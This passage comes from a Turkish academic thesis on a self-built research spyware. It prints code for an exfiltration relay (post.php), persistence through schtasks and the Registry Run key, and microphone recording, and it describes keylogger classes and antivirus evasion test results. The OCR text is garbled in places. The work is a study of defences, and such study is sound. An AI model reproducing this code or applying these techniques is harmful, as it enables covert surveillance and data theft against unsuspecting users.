portlarin erisime kapatilmasi” uygulamasina gecildigini ifade etmislerdir. Bu nedenle e-
posta gonderimi i¢in iilkemizde, kimlik dogrulamasi ile e-posta gonderiminin miimkiin

oldugu 587 numaral1 port gibi birka¢ port kullanilabilmektedir.

Casus yazilim iginde gelistirilen bir modiil araciligiyla, 587.port iizerinden kimlik
dogrulama yontemiyle e-posta gonderilebilmesi saglanmaktadir. Resim 3.9’da e-posta ile

ilgili parametreler bulunmaktadir. Bu 6rnekte e-posta sunucusu olarak "Gmail" segilmistir.
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Ilgili e-posta sunucusunda agilacak bir hesap iizerinde asagidaki formda belirlenen

araliklarla yukaridaki bilgiler belirlenen e-posta adresine gonderilmektedir.

Gelisen bilgi gilivenligi farkindaligi ile birlikte 6zellikle kurumsal sistemlerde casus
yazilimlarin sistemlerden elde ettikleri bilgileri e-posta portlart (SMTP:25, POP3:110,
IMAP:143, SMTP (SSL): 465, MSA:587) {lizerinden gonderdikleri bilindiginden soz
konusu e-posta gonderimine iliskin portlar engellenmektedir. Bu 6nlem casus yazilimlar
caligsa bile toplanan bilgilerin gonderilememesi sonucu bilgi giivenligi agisindan riskleri
azaltmaktadir. Ancak bu tiir onlemlere ragmen casus yazilim gelistiricilerin bilgileri
sistemlerden disar1 ¢ikartmak igin kullanabilecekleri alternatif bir yontem, bu galisma

kapsaminda gelistirmis olan casus yazilima kazandirilmastir.

Dosya Digzen Arama Gorindm  Kedlama Dil  Ayarlar  Makre Calbstir  Eklentiler Pencere 7

cEEHB RG] eyl | BE|FI1EZEL =& EK®E|2E
Hpostohp |
El<?PHP
file put contents('log.fak', print_r(S_PDST, true) ) :
$icerik = §_POST["icerik"]:

$fromMail =$_POST["
$fromDesc =§ POST["
$toMail =¢ POST(["to
$toDesc =5 _POST["
$konu =§_POST ["konu"];

fheaders = 'MIM E-Version: 1.0' . "\r\n"

fYheaders .= 'Cont en plain; gharset=utf-8' . "\r\n":

Sheaders .= 'T ?' .base64 encode (5toDesc).'?=' Lot StoMail. 'L\ r\n";
fheaders .= 'From: '. '=70 £7B7'.base64 encode ($fromDesc).’?=' o<t SfromMail. =" . "\x\n";
mail (null ,"=?UTE-£7B?'.baseé€4 encode ($konu).'?=',$icerik, $headers );

Resim 3.8. Web iizerinden e-posta gonderimini saglayan "post.php" dosyasi

Alternatif yontem temelde casus yazilimin topladigi bilgileri ilgili eposta sunucusuna
gondermek yerine bilgileri ve bilgilerin gonderilecegi e-posta bilgilerini casus yazilim
gelistiricisinin kontroliinde bulunan bir web sunucusuna génderme esasina dayanmaktadir.
Boylece 80. port olan web erisim portunun halen birgok kurumsal aglarda engellenmedigi
dikkate alindiginda casus yazilimin, bilgileri 80.port {izerinden bir web sunucusuna
gondermesinin daha kolay olacagi degerlendirilebilir. Alternatif yonteme iliskin akis

asagidaki sekilde gerceklesir;

1. Casus yazilim topladig1 bilgileri 587. Port iizerinden detay bilgileri parametre giris

ekraninda girilen eposta adresine gondermeyi dener,
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2. Erisimin engellenmesi gibi bir durumdan dolay1 basarisiz olunmasi durumunda,
alternatif gdnderim yontemi denenir,

3. Alternatif yontemin c¢alisabilmesi i¢in “PHP” tabanli bir web sunucusunda bulunan
“post.php” dosyasinin aktif olmasi gerekmektedir, s6z konusu “php” dosyas1 6zel
bir web sunucusunda bulunmaktadir. “post.php” dosyasina ait kaynak kod Resim
3.8’de sunulmugtur. Alternatif yontem calistirlldiginda casus yazilimin bu
sunucuya erigsmesi i¢in ilgili sunucu casus yazilimda tanimlanmistir.

4. Bu c¢alisma kapsaminda gelistirilen casus yazilim topladigi bilgileri ve alic1 e-posta
bilgilerini 3.madde de belirtilen web sunucusuna gonderir,

5. Web sunucusunda bulunan “PHP” dosyasi kendisine gelen bilgileri iizerinde
bulundugu sistemde yer alan e-posta sunuculari araciligiyla, yine kendisine gelen

e-posta adresine gonderir.

o parametreGirisForm - O

Eposta Parametreler

Bilgileri Direk Eposta ile Gonder (Fort 587)
Bilgileri Web Uzernden Gander (Port 80)
Heriki yontem sedlirse yamhm ilk olarsk 587 port

urerinden eposta gondermeyi deneyecektir, eder basansiz
olunursa gonderme iglemi web uzerinden denenecekdtir.

Kimden (E-Posta) kimden@epostasunucusu .com
Kimden (isim}) Gonderci Olarak Gozlkecek Kisi
Kime (E-Posta) kime@epostasunucusu.com
Kime (isim) At Kisinin ismi

Mesaj Konusu Casus Yazhm Rapon

Gonderen Kullamc Adi |gonderen@epostasunucusu.com

Gonderen Sifre -

Eposta Sunucusu smtp.gmail.com

Eposta Gonderme Sikhd 3600 sn
Diger Ayarlar

Bkran Resmi Cekme Sikhé {sn.) 300 sn

| PARAMETRELERI KAYDET |

Resim 3.9. Bilgilerin E-posta ile gonderilmesini saglayan parametre ekrani



45

Bu c¢alisma kapsaminda gelistirilen casus yazilim bilgileri hangi e-posta adresine ne
siklikla gonderecegi gibi bilgileri barindiran bir 6rnegi Resim 3.13’te sunulan parametre
dosyas1 ile birlikte kurulmalidir. Ancak bu dosya olusturulmadan casus yazilim
calistirilirsa casus yazilimn ilk ¢alistigi anda Resim 3.9°da sunulan parametre ekranindaki
bilgilerin doldurulmas istenir. Dolayisiyla s6z konusu bilgiler casus yazilimin kuruldugu
esnada kuran kisi tarafindan girilmelidir. Formda iki adet “checkbox” bulunmaktadir,
bunlardan ilki bilgilerin 587.port iizerinden e-posta adresine gonderilmesini saglayacak
olan onay kutusudur, ikincisi ise bilgilerin web tizerinden gonderilmesini saglayacak olan
onay kutusudur. Her iki onay kutusunun sec¢ilmesi durumunda casus yazilim Oncelikle
587.port tlizerinden gondermeyi deneyecektir, basarisiz olmast durumunda web {izerinden
(80.port) gondermeyi deneyecektir. Parametre formunda istenen diger parametrelere iliskin

aciklamalar asagida sunulmustur;

Kimden (E-Posta) :Casus yazilimin bilgileri gonderecegi e-postada gonderen e-posta adresi

olarak goziikecek adrestir.

Kimden (Isim) :Génderilecek e-posta iizerinde génderici olarak gosterilecek isim. Bu bilgi
sistematik bir sekilde bilgi toplamak istendigi durumda kullanisli olabilir. Ornegin bir siber
suclunun birden ¢ok bilgisayara casus yazilim yiiklemesi durumunda toplanan bilgilerin

iletildigi e-postalarin birbirinden ayrilmasi bu 6zellik sayesinde miimkiin olabilir.

Kime (E-Posta) : Toplanan bilgilerin gonderilecegi E-posta adresinin belirlendigi

parametredir.
Kime (Isim) :Toplanan bilgilerin gonderilecegi E-posta adresine ait isim bilgisidir.

Mesaj Konusu : Gonderilecek olan E-posta adresinin konu kisminin belirlendigi
parametredir. GoOnderici ismi gibi bu parametre de birgok yerden bilgi toplandig

durumlarda gelen e-postalarin ayirt edilebilmesi igin 6nemlidir.

Gonderen Kullanict Adi : Bilgiler “587” numarali port tizerinden gonderilirken kullanilan
bu parametre, e-posta sunucusu ile gergeklestirilen kimlik dogrulama isleminde
kullanilmaktadir. Birgok e-posta sunucusunda e-posta adresi ile ayni olmasina karsin ilave
giivenlik saglamasindan dolayr bazi e-posta sunucularinda e-posta adresinden farkl

olabilmektedir.



46

Gonderen Sifre: E-posta sunucusu ile gerceklestirilen kimlik dogrulama isleminde

kullanilmakta olan bir parametredir.

E-posta Sunucusu: Gonderici e-posta adresinin kayitlt oldugu sunucu bilgisi bu parametre
ile kaydedilmektedir. “E-posta Sunucusu”, “Gonderen Kullanict Adi” ve “Sifre”
parametreleri, “web (80.port)” ilizerinden gonderimin yapildigi durumda kullanilmazlar.
“Web” lizerinden gonderimi saglayan “php” dosyast web sunucusuna ait e-posta sunucusu

iizerinden gonderim yaptigindan s6z konusu parametreler kullanilmaz.

3.6.8. Casus yazilmin bilgisayar ac¢ilisinda otomatik ¢calismasi

Zararli yazilimlarin ortak ozelligi bilgisayar baslatildiginda sistem baslangi¢ ayarlarina
kendilerini  yerlestirerek otomatik baglamalaridir. Otomatik  baglama  6zelligini
edinmedikleri takdirde zararli yazilimlar, bilgisayar yeniden baslatildiginda islevlerini
kaybedeceklerdir.

//Zamanlanmis Gdrev Kaydi Olusturuluyor
String sonuc = posta.shellKomutuCalistir("schtasks", "/create /tn My_App /tr
" [sc onstart /f /DELAY 0000:10");

+ kopyalanacakYer +

//Sistem Kayitlarina Otomatik Baslanmasi Icin Gerekli Girdi Yapiliyor
RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
key.Setvalue("cy", "\"" + Application.ExecutablePath + "\"");

Resim 3.10. Casus yazilimin sistem baglatilirken ¢alismasini saglayan kodlar

Bu calisma kapsaminda gelistirilen casus yazilim, bilgisayar her agildiginda baglamasi i¢in
sistem baglangicina yerlesecek sekilde tasarlanmigtir. Otomatik baslama islemi Resim
3.10°da sunulan kodlar aracilig: ile iki farkli sekilde saglanmaktadir. ilk yontem sistem
baslangicinda galisacak sekilde “Registry” ayarlarinin giincellenmesidir. Ikinci yontem ise
kendisini  "schtasks" sistem komutunu kullanarak bilgisayarin zamanlanmis gorevler
listesine eklemesidir. Ikinci yontemde casus yazilimim baslamasi, bilgisayar agildiktan 10

saniye sonrasinda gerceklesecek sekilde programlanmaistir.

3.6.9. Ortam dinlemesi icin ses kaydi

Giincel bir konu olan ortam dinlemelerinin ¢ogunluklu cep telefonlar1 kullanilarak

yapildig1 distliniilmektedir. Ancak giliniimiizde hemen hemen her bilgisayarda bulunan
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mikrofonlar, casus yazilimlar kullanilarak ortam dinlemesini miimkiin kilmaktadir. Casus
yazilimlarin yayilma potansiyeli ve mikrofon tasiyan bilgisayarlarin ev, is, eglence
ortamlarindaki yayginlig1 dikkate alindiginda ortam dinleme riskinin boyutlar1 daha iyi

anlagilabilmektedir.

S6z konusu riski daha 1yi anlayip analiz edebilmek icin gelistirilen casus yazilima ortam
dinlemesi yapmak tizere ses kaydi 6zelligi eklenmistir. “Windows” igletim sistemlerinde
standart olarak bulunan “winmm.dll” dosyasi iginde tanimli olan “mciSendStringA”
fonksiyonunu kullanarak birer dakikalik araliklarla ses kaydi alinmakta olup kaydin bittigi
tarih ve saat bilgisi dosya ismi olarak atanmaktadir. Bir dakikalik ses kaydi, casus
yazilimin dosyalarinin yer aldigi isletim sisteminin “TEMP” klasoriine kaydedilmektedir.
Ses kaydi oOzelligini saglayan kodlar Resim 3.11°de sunulmustur. Ses kaydina ait

29 ¢¢

“bitspersample”, “samplespersec”, “bytespersec” gibi ozellikler de ayarlanabilmektedir.

Jprivate vold sesKaydibaslat()
i mciSendString("open new Type waveaudio Alias recsound wait™, "", @, @);
mciSendString("record recsound”, "%, @, @);
log.Text += "\r\n" + DateTime.Mow.ToString() + " Ses Kaydi Baslatildi ";
}//end of seskaydibaslat
Iprivate void ses_Tick{object sender, Eventhrgs e)

{ String sesIsmi = Environment.GetEnvironmentVariable("Temp™) + @"\" +
DateTime.Mow.ToString("yyyy.dd.MM_hh.mm.ss™) + " _68sn.wav”;
mciSendString("save recsound "+sesIsmi+"", "", @, @);
mciSendString("close recsound ", "7, @, @);

log.Text += "\r\n" + DateTime.Now.ToString() + " Ses Kaydi "+ sesIsmi+
" dosyasina kaydedildi.";
sesKaydiBaslat();

Resim 3.11. Ses kaydi 6zelligini saglayan kodlar

Ses kaydi iglemi sonucu “TEMP” klasoriinde olusan ses kayit dosyalart Resim 3.12’de
sunulmustur. Her bir ses kaydi 60 saniyelik olup ortalama boyutu 640 KB boyutundadir.
Ancak “Winrar” programi kullanilarak sikistirma islemi gergeklestirildiginde boyut 140
KB olmaktadir.
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ler Didzen

. b mehmet » AppData » Local » Temp #

Ad . Tarih Tilr Boyut Etik
|41 2014.29.00_08.55.11_60sn.wav 20.9.2014 20:55 Ses Dalgasi 640 KB
| 2014.29.09_08.56.11_80sn.wav 20.9.2014 20:56 Ses Dalgasi &40 KB
| 2014.29.09_08.57.11_60sn.wav 29.9.2014 20:57 Ses Dalgasi 640 KB
|41 2014.29.09_08.58.11_60sn.wav 20.9.2014 20:58 Ses Dalgasi 640 KB
[ 2014.29.09_08.59.11_60sn.wav 29.9.2014 20:59 Ses Dalgasi &40 KB
|4 2014.29.09_09,00.11_&0sn.wav 20.9.2014 21:00 Ses Dalgasi 640 KE
(1] 2014.29.09_09.01.11_60sn.wav 29.9.2014 21:01 Ses Dalgas 639 KB
[ 2014.29.09_09.02.11_60sn.wav 29.9.2014 21:02 Ses Dalgasi 640 KB
[#] 2014.29.00_09.03.11_60sn.wav 29.9.2014 21:03 Ses Dalgasi 640 KB
(1] 2014.29.09_09.04.11_60sn.wav 29.9.2014 21:04 Ses Dalgasi 640 KB
(¢ 2014.29.09_09.05.11_60sn.wav 29.9.2014 21:03 Ses Dalgas &40 KB
|41 2014.29.09_09.06.11_60sn.wav 20.9.2014 21:06 Ses Dalgasi 640 KB
[ 2014.29.09_09.07.11_60sn.wav 29.9.2014 21:07 Ses Dalgas 640 KB
[ 2014.29.0%_09.08.11_60sn.wav 29.9.2014 21:08 Ses Dalgas &40 KB
|4 2014.29.09_09.09.11_60sn.wav 20.9.2014 21:09 Ses Dalgasi 640 KB
| 2014.29.09_09.10.11_&0sn.wav 29.9.2014 21:10 Ses Dalgasi 640 KB
[#] 2014.29.00_09.11.11_60sn.wav 29.9.2014 21:11 Ses Dalgasi 640 KB
(1] 2014.29.09_09.12.11_60sn.wav 29.9.2014 21:12 Ses Dalgasi 640 KB
[ 2014.29.09_09.13.11_60sn.wav 29.9.2014 21:13 Ses Dalgas &40 KB
(] 2014.29.09_09.14.11_60sn.wav 29.9.2014 21:14 Ses Dalgas 640 KB
(1] 2014.29.09_09.15.11_60sn.wav 29.9.2014 21:15 Ses Dalgas 640 KB
|4 2014.29.09_09,16.11_60sn.wav 20.9.2014 21:16 Ses Dalgasi 640 KE
B cy.exe 23.9.2014 23:52 Uygulama 47 KB
£ | cy.ini 29.9.2014 20:43 Yapilandirma ayar... 1KE

Resim 3.12. Casus yazilimimn “TEMP” klasoriinde olusturdugu ses kayit dosyalari

Ses kaydi dosyalariin siirekli olarak e-posta ile gdonderilmesi bilgisayarin kullandig1 bant

genisligini azaltacagindan dosyalarin “TEMP” klasoriine kaydedilmesi tercih edilmistir.

3.6.10. Ortam izlemesi i¢in goriintii kaydi

Ortam dinlemesi gibi ortam izleme 6zelligi de 6nemli bir risk olarak degerlendirilmektedir.
S6z konusu riskin daha iyi anlasilabilmesi i¢in bilgisayar tizerindeki kamera kullanilarak

goriintii kayit 6zelligi casus yazilima eklenmeye ¢alisiimistir.

Casus yazilimin bilgisayar iizerindeki kamerayr kullanarak goriintii elde edebilmesi

amactyla “Windows” isletim sistemlerinde bulunan “avicap32.dll” dosyasi iizerinde
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calisilmigtir. Ortam gorilintli kaydi icin bir dakikalik araliklarla kameradan goriintii
alinmasi hedeflenmistir. Ancak “Windows 8” igletim sistemi iizerinde gergeklestirilen
testlerde “avicap32.dll” dosyasi kullanildiginda, ilk goriintiiniin “avicap32.dll” tarafindan
saglanabildigi sonraki dakikalarda ise ayn1 dosyanin i¢inde yer alan fonksiyonlarin goriintii
saglayamadig goriilmiistiir. Bu problemin sistem yeniden baslatilana kadar devam ettigi
goriilmistlir. Dolayisiyla “avicap32.dll” dosyasinin “Windows 8 isletim sisteminde
uyumlu ¢alismadigr tespit edilmis, s6z konusu dosya kullanilarak goriintii kaydi 6zelligi

casus yazilima eklenmemistir.

Kamera goriintiilerini elde etmek i¢in kullanilabilecek bir diger yontemde ii¢lincli parti
yazilimlarin kullanilmasidir. Ancak {igiincii parti yazilimlarin casus yazilima eklenebilmesi
icin gerekli olan ilave dosyalar (siniflar, kiitiiphaneler, dll dosyalar1 vb.) yaygin olarak
kullanildiklarindan ve casus yazilimin boyutunu arttirdiklarindan dolay1 casus yazilimlarin

koruyucu yazilimlar tarafindan tespit edilmesine neden olmaktadir.

Sonug olarak ortam izlemesi i¢in goriintii kaydi 6zelligi casus yazilima eklenmemistir.

3.7. Casus Yazilimin Kodlanmasi

Casus yazilim uygulamas1 Microsoft firmasina ait "Visual Studio 2010" araci kullanilarak
C# dilinde gelistirilmistir. Ayrica gelistirme siirecinde “Nesne Yonelimli Programlama"
(Ing. ObjectOriented Programming) kurallar1 uygulanmistir. Yukarida tanimlanan islevler

siiflara ayrilarak programlamanin daha sistematik yapilmasi saglanmaistir.

Mevcut casus yazilimin antiviriis programlar1 tarafindan tanmarak imza veritabanlarina
eklenmesi durumunda, smiflara ayrilmis kodlarin ¢ok az bir degisiklikle koruyucu
yazilimlarin taniyamayacagi bir hale gelmesi miimkiindiir. Ayrica daha sonradan
eklenmesine ihtiya¢ duyulabilecek bazi 0Ozelliklerin nesne yonelimli programlama
teknikleri ile yazilmis kodlara eklenmesi ¢ok daha kolaydir. Casus yazilimi olusturan

baslica smiflar su sekildedir;

e "Pencere.cs" : Acik pencere (uygulama) baslik bilgilerini isleyerek sistem
kayitlarina isler. Kullandigi temel sistem fonksiyonu "GetForegroundWindow()".
e "Tus.cs": Temel tus kayitlama (KEYLOGGER ) islemlerini gergeklestiren siniftir.
Kullandig1 temel sistem fonksiyonu "GetAsyncKeyState™ olup bu fonksiyonu
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LE
Dosya

(4]

|=1 cy ini

kullanan bagka fonksyionlar gelistirilmistir. Bu sinif i¢inde 6zellikle Tiirkce tuslara
(5,8,1,0,¢) yonelik 6zel tanimlamalar yapilmasi gerekmistir.

"E-Posta.cs":Bu sinif toplanan bilgilerin 587 numarali port {izerinden e-Posta
olarak gonderilmesi ile ilgili islemleri i¢eren fonksiyonlardan olugsmaktadir. Visual
Studio C# i¢inde tanimli olan “System.Net.Mail” isim wuzaymnda bulunan
“SmtpClient” siifin1 kullanir.

"IniFile.cs” : Parametre giris ekrani ile girilen gesitli parametrelerin bilgisayarda
“ini” dosyast olarak saklanabilmesini ve gerektiginde saklanan parametrelerin
okunabilmesini saglayan siniftir. Resim 3.13’te bilgisayarin “TEMP” olarak
tanimlanmis klasoriine kaydedilen “ini” dosyasi sunulmustur. Ayn1 zamanda casus
yazilimin da kaydedildigi yer olan “TEMP” klasdriine “ini” dosyasi, “cy.ini” ismi
ile kaydedilmekte olup bu dosya herhangi bir metin editorii (notepad, notepad++)
araciligl ile rahatlikla goriintiilenebilir. Bu c¢aligmada gelistirilen casus yazilim
egitim amagli oldugundan parametre dosyasi sifrelenmemis veya “binary” olarak
ifade edilen makine dilinin anlayacagi formatta olusturulmamistir. Siber suglularin
kendilerini ele verebilecek bu tir verileri sifreleyerek bagka tiirde
saklayabilecekleri dikkate alindiginda, birgok casus yazilima ait parametre
dosyalarinin igletim sistemine ait farkli yerlerde ve sifreli olacagi c¢ikarimi

yapilabilir.

Dizen Arama Gérdndm  Kodlama Dil Ayarlar  Makre  Cabstir  Ekle

. oolg]| | |ﬁﬂ£;&i|“§ =>|~".C-I.|

g

1

= [eposta]
fromMail=kimdenfepostasunucusu.com
fromDesc=G8nderici Olarak Gozikecek EKisi
toMail=kime@@epostasunucusu. com
toDesc=Alici Higinin Ismi

konu=Casus Yazilim Raporu
gonderenFullanicifAdi=gonderenfepostasunucusu . com
gonderenSifre=123456
mailSunucu==smrp.gmail . com
mailFondermeSikligi=3600
fakeMailGondermeSikligi=-1
ekranBesmiCekmeSikligi=300
weblCheckBor=True

epostaCheckBox=True

Resim 3.13. "cy.ini" dosyasina kaydedilen bilgiler
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e "Post.cs" : 80 numarali port disinda ag portlarinin engellenmis oldugu durumlarda

alternatif e-posta gonderimini saglayan fonksiyonlari icermektedir. “System.Net”

isim uzayt igerisinde yer alan “HttpWebRequest” sinifi kullanilarak c¢esitli

fonksiyonlar “Post.cs” i¢inde gelistirilmistir. Bilgiler ilgili web sayfalarina “POST”

yontemi kullanarak gonderildiginden, bu sinifa da “POST” ismi verilmistir. i¢inde

bulunan en oOnemli fonksiyon olan “sendRequest” fonksiyonu asagidaki

parametreleri almaktadir;

(@]

“URL” : Uniform Resource Locator (URL) “String” olarak gelen bu
parametre, iletisime gecilecek web sayfasina ait adres bilgisini igerir.
“dataGonder”: “Bool” veri tipinde olan bu parametre web sayfasina bilgi
gonderilecekse “True” degerini alir. Ornegin gelistirilmis olan casus
yazilimda gergek IP bilgisinin alinmas1 i¢in www.iplocationfinder.com web
adresine istek gonderilirken herhangi bir bilgi gonderilmeyeceginden
“dataGonder” parametresi “False” olarak atanir.

“method” : Bilgilerin web sayfasina gonderim yonteminin atandigi
parametredir. “POST” ve “GET” olarak set edilebilmektedir. Gelistirilen
casus yazilimda gonderilecek verilerin fazlaligi nedeniyle “POST” yontemi
sec¢ilmistir.

“dizi” : “String” veri tipinde bir dizi olan bu parametre, iletilecek bilgileri
barindiran parametredir. Dizi iginde yer alan bilgiler “method” parametresi

ile belirlenen yonteme gore web sitesine yollanir.

Gelistirilen casus yazilima ait “Visual Studio” yazilimi ile olusturulan simif diyagrami

Sekil 3.7°de sunulmustur.

»
»)
»)

Pencere IniFile Tus Post &
Class Class Class Class
* Fields = Fields = Fields = Methods
1= Methods ¥ path 4¥ bas_altgr @ Decode
© Aktif_Pencereyi_Do... = Methods 47 bas_shift @ DecodeEvaluator
@ DegisenPencereyiD.. 5% GetPrivateProfileStri... ¥ GeciciKayitYigini ¢ Encode
0 isC Vs
4 GetForegroundWin... @ IniFile )4 {s"apSLOCk b EncovdeE.aluator
4% GetWindowText ¥ IniReadValue i g¥ isNumLock 9. gethtml
V¥ IniWriteValue = Methods | @ sendRequest
E_posta (2 3¥ WritePrivateProfileS... ¥ Basilan_Tusu_Dondur
Class ¥ Basilan_Tusu_Yigina...
¥ buyuk_kucuk
= Methods ¥ GetAsyncKeyState (...
@ gonder ¥ GetKeyState

¥ shellKemutuCalistir

Sekil 3.7. Casus yazilima ait sinif diyagrami


http://www.iplocationfinder.com/

52



53

4. BULGULAR

Zararli yazilimlara karst “antiviriis, antispyware ve firewall” gibi koruyucu yazilimlar
onlem olarak diistiniilmektedir. Ancak birgok koruyucu yazilimin aym zararli yazilima
kars1 farkli tepkiler verdigi de bilinmektedir. Bu nedenle zararli yazilimlarin farkl isletim
sistemlerinde farkli koruyucu yazilimlara karsi test edilerek koruyucu yazilimlarin gergekte
ne kadar koruma sagladiginin anlasilmasi miimkiin olabilir. Bu husus dikkate alinarak
gelistirilen casus yazilim farkli igletim sistemlerinde ve farkli koruyucu yazilimlarla test

edilmistir. Test sonuglari ve testlerde elde edilen bulgular asagida sunulmustur.

4.1. Casus Yazihmn Isletim Sistemlerinde Test Edilmesi

Ozgiin olarak gelistirilen casus yazilim Sekil 3.1°de belirtilen isletim sistemlerinden en ¢ok
kullanilan {i¢ isletim sisteminde (Windows 7, Windows XP, Windows 8) test edilmistir.
Testler “Vmware  Workstation” aracilifiyla  olusturulan sanal  makinelerde
gerceklestirilmistir. Testler yeni yiikklenmis ve isletim sistemi ile birlikte gelen programlar
disinda herhangi bir programin yiiklenmedigi isletim sistemlerinde gergeklestirilmis olup
varsayilan (Ing. default) isletim sistemi giivenlik ayarlar1 ile gerceklestirilmistir.
Gergeklestirilen  test sonuglart  kapsaminda Cizelge 4.1’de  bulunan sorular

cevaplandirilmistir.

Gelistirilen casus yazilimin bazi 6zelliklerinin kisitlandig1 egitim amagh olarak hazirlanan
bir versiyonu ve yazilima ait bazi ekran gorlintiileri

http://siberdunyadaguvenlik.blogspot.com.tr/ adresinden edinilebilir.


http://mehmetdama.blogspot.com/
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Cizelge 4.1. Isletim sistemlerine gére casus yazilim test sonuglar

gonderirken igletim sistemi herhangi bir ikaz

veriyor mu?

Windows XP Pro Windows 7 | Windows
. Ultimate Build | g
Service Pack 3 7600
Casus yazihmin caligtinlabilmesi igin 6n Uygulama diizguin olarak Hayir Hayir
yukli bir program olmasi gerekiyor mu? baglatilamadi, “.NET
FRAMEWORK 2.0” ve Ustl
kurulu olmasi gerekmektedir.
Casus yazihm kullanici tarafindan Hayir Hayir Hayir
calistirldiginda igletim sistemi herhangi bir
ikaz veriyor mu?
Casus yazilim basilan tus bilgileri ve diger Hayir Hayir Hayir
bilgileri toplamaya bagladidinda igletim
sistemi herhangi bir ikaz veriyor mu?
Casus yazilim, topladigi bilgileri e-posta ile Hayir Hayir Hayir

4.2. Casus Yazimin Koruyucu Yazihmlara Kars1 Test Edilmesi

Ozgiin olarak gelistirilen casus yazilimin koruyucu yazilimlara karsi da test edilmesi

gerekmektedir. Bilisim sistemleri altyapilar1 i¢in giivenlik ¢oziimleri sunan OPSWAT

yazilim firmas: tarafindan Agustos 2013 tarihinde yaymnlanan “Antiviriis Uriinlerinin

Market Dagilimi1” raporu ve “IEEE Computer Society-Computer” dergisinde yayinlanan

bir makalede [43] yaygin olarak kullanildig1 degerlendirilen koruyucu yazilimlardan sekiz

adedi secilmistir. Ayrica giivenlik duvari 6zelligi bulunan ve casus yazilimlara kars
tasarlanan ii¢ adet koruyucu yazilim da ¢alisma kapsamina dahil edilerek gelistirilen casus
yazilim toplam 11 adet koruyucu yazilim ile test edilmistir. Gergeklestirilen testler 21
Haziran 2014- 10 Agustos 2014 tarihleri arasinda koruyucu yazilimlarin web sitelerinde
yer alan ficretsiz deneme siriimleri ile gerceklestirilmis olup koruyucu yazilimlarin

varsayllan ayarlar1 kullanilmistir. Koruyucu yazilimlar numaralandirilarak sonuglar

Cizelge 4.2°de paylasilmistir.
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Cizelge 4.2. Koruyucu yazilimlara Gore Casus Yazilim Test Sonuglari

Koruyucu Yazilim 1 2 3,4 5 6 7, 8,9,
Numarasi 10, 11
Casus yazihm | Evet, NOT 1 Hayir Evet, NOT | Hayir Hayir Hayir
cahistinimadan once 2
herhangi bir tarama
esnasinda ikaz verilmis
midir?
Casus yazilim galistiriirken | Calismasina Evet, NOT 2 | Calismasina | Evet, Hayir Hayir
herhangi bir ikaz verilmig | izin izin NOT 4
midir? verilmemistir verilmemistir
Casus yazilim basilan tus | Calismasina Calismasina | Calismasina | Hayir Evet, internet | Hayir
bilgileri ve diger bilgileri | izin izin izin erisimi
toplarken herhangi bir ikaz | verilmemistir verilmemistir | verilmemistir gerektiren
verilmis midir? islemlerde uyari
vermigtir.
Casus yazillm Dbilgileri | Calismasina Calismasina | Calsmasina | Evet, Evet, e-posta | Hayir
587.port lizerinden e-posta | izin izin izin NOT 5 | gonderilirken
ile gonderirken herhangi | veriimemistir verilmemistir | verilmemistir uyari vermistir,
bir ikaz verilmis midir?
Casus yazihm Dbilgileri | Calismasina Calismasina | Calismasina | Hayir Evet, e-posta | Hayir
80.port lizerinden e-posta | izin izin izin gonderilirken
ile gonderirken herhangi | veriimemistir verilmemistir | verilmemistir uyari vermistir,
bir ikaz verilmis midir?

Not 1: Otomatik taramada TR/Spy.Gen olarak tespit edilmis ve silinmistir.

Not 2: Casus yazilimin ¢aligsmasi engellenmis olup “Trojan” olarak tespit edilmis ve silinmistir.

Not 3: Casus yazilimi iceren klasor agilir agilmaz, virlslu bir dosya algilandigi uyarisi verildi ve yazilim silindi.

Not 4: Ik caligtirima esnasinda 15 saniye kadar programin incelendigini ifade eden bir bildirim yapilmis ancak herhangi
bir sey bulunamamistir. Bu esnada casus yazilim hata mesaji (exception) vermistir, hata mesaji onaylandiktan sonra
normal galigma devam etmistir.

Not 5: Gonderilen e-postaya, e-postanin tarandigini ifade eden bir metin eklemistir ancak kayitlar basari ile
génderilmistir

Not 6:10 nolu yazilimin ¢alismasi esnasinda tus kaydetme fonksiyonu bazi uygulamalarda bilgi toplayamamistir. Ancak
s6z konusu koruyucu yazilim herhangi bir sekilde casus yazilimi tespit edememis olup casus yazihm diger islevlerini tam
olarak yerine getirmistir.

1-Avira Antivirus Suite 14.0.3.350 7-Norton Internet Security 21.3.0.12
2-Kaspersky Pure 3.0 8-Nod32 7.0.317.4 (Viriis imza Vt. Siiriim: 10471)
3-McAfee 12.8 9- Windows Defender 4.5.218.0

4-ZoneAlarm 10- WebRootSecureAnywhere (13.07.2014 tarih)
5-avast! Free Antivirus (2014.9.0.2021) 11-Spybot S& D 2.4

6-AVG Anti-Virus Free Edition

Gergeklestirilen testlerde koruyucu yazilimlar kurulduktan sonra bir miiddet beklenmistir.
S6z konusu bekleme siirecinde koruyucu yazilimlarin arka planda tarama yaptigi
bilindiginden ilgili taramada dosya sisteminde mevcut bulunan gelistirilmis casus yazilimi

tespit edip edemeyecegi gézlemlenmistir. Koruyucu yazilimlardan bazilari casus yazilimi
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tespit ederken bazilar1 tespit edememistir. Casus yazilimi tespit edemeyen koruyucu

yazilimlarin ilgili ekran goriintiileri Ek-2’de sunulmustur.

Resim 4.1°de sunulan bildirim mesajina ait ekran gorlntiisii gelistirilen casus yazilim
calistirilmadan koruyucu yazilim tarafindan kullaniciya gosterilmistir. Resim 4.1°de
goriilebilecegi gibi koruyucu yazilim gelistirilen casus yazilimi “TR/Spy.Gen” olarak

nitelemistir. Uyar1 sonrasinda casus yazilima erigim miimkiin olmamaistir.

Giivenlik Uyansi

Tarih/Saat: 12.4.2014, 20:48:53
Tur: Alglama

Virs veya istenmeyen program TR /Spy.Gen'
iceren

'C:\Users\mehmet)\... \WindowsFormsApplicati
oné.exe' dosyasina erisim engellendi.

Bu dosyaya erisimi engelledik.

Dosyayi kaldirabilir veya sorun hakkinda daha
fazla bilgi edinebilirsiniz.

Yardim
[ Kaldr | rAyrlnhlar ]

Resim 4.1. Avira yaziliminin casus yazilimi tespit ettigini belirten bildirim

Resim 4.2°de bildirimi sunulan koruyucu yazilim gelistirilen casus yazilimi arka planda
yapti§1 tarama esnasinda tespit etmistir. Koruyucu yazilim, gelistirilen casus yazilimi

“Truva At1” olarak tanimlamistir.
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(( - X — x o
WMCAfee ‘ Total Protection
An Intel Company
. . . A Girs
V Bilgisayariniz guvende (eylem gerekli degil)
@ Gezinti o
{ @ Yadm
‘ Viriis ve Casus ‘ Web ve E-posta 1, Veri Koruma ve
[ Yedekleme
Yazilimdan Koruma Korumasi
